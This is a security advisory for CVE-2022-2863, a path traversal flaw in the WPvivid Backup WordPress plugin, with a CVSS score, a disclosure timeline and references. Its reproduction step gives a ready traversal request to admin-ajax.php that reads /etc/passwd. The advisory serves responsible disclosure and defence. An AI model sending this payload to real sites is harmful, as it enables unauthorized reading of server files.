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WordPress WPvivid Backup Path Traversal

WordPress WPvivid Backup Path Traversal
Posted Oct 4, 2022
Authored by Rodolfo Tavares | Site tempest.com.br

WordPress WPvivid Backup plugin versions prior to 0.9.76 suffer from a path traversal vulnerability.

tags | exploit
advisories | CVE-2022-2863
SHA-256 | fb090fe06b8107185b5b73bdfac52e984a5bd3987e4e8a14397734095d06addf

WordPress WPvivid Backup Path Traversal

Change Mirror Download
=====[ Tempest Security Intelligence - ADV-15/2022
]==========================

Wordpress plugin - WPvivid Backup - Version < 0.9.76

Author: Rodolfo Tavares

Tempest Security Intelligence - Recife, Pernambuco - Brazil

=====[ Table of Contents]==================================================
* Overview
* Detailed description
* Timeline of disclosure
* Thanks & Acknowledgements
* References

=====[ Vulnerability
Information]=============================================
* Class: Improper Limitation of a Pathname to a Restricted Directory
('Path Traversal')
('Path Traversal') [CWE-22]

* CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
* CVSS Base Score 7.2

=====[ Overview]========================================================
* System affected : Wordpress plugin - WPvivid Backup
* Software Version : Version < 0.9.76
* Impacts : The plugin WPvivid Backup does not sanitise and validate a
parameter before using it to read the content of a file, allowing high
privilege users to read any file from the web server via a Traversal attack.

=====[ Detailed
description]=================================================
* Steps to reproduce

1 - Authenticated as privilege user, copy the request below, change the
placeholder {{nonce}} with a valid nonce:
```

https://example.com/wp-admin/admin-ajax.php?_wpnonce={{nonce}}&action=wpvivid_download_export_backup&file_name=../../../../../../../etc/passwd&file_size=922
```

=====[ Timeline of
disclosure]===============================================

11/Aug/2022 - Responsible disclosure was initiated with the vendor.
15/Aug/2022 - WPvivid Support confirmed the issue.
16/Aug/2022 - WPvivid Support fix the issue.
08/Aug/2022 - CVEs was assigned and reserved as CVE-2022-2863.

=====[ Thanks & Acknowledgements]========================================
* Tempest Security Intelligence [5]

=====[ References ]=====================================================

[1][ [
https://cwe.mitre.org/data/definitions/22.html]|https://cwe.mitre.org/data/definitions/22.html
]]
[2][ [
https://gist.github.com/rodnt/c6eb8c8237d6ea0583f1f7da139c742a]|https://gist.github.com/rodnt/c6eb8c8237d6ea0583f1f7da139c742a
[3][ [https://www.tempest.com.br|https://www.tempest.com.br/]]
[4][ [
https://wpscan.com/vulnerability/cb6a3304-2166-47a0-a011-4dcacaa133e5]|https://wpscan.com/vulnerability/cb6a3304-2166-47a0-a011-4dcacaa133e5]]
]
[5][ [Thanks FXO,ACPM,MFPP]]

=====[ EOF ]===========================================================
--

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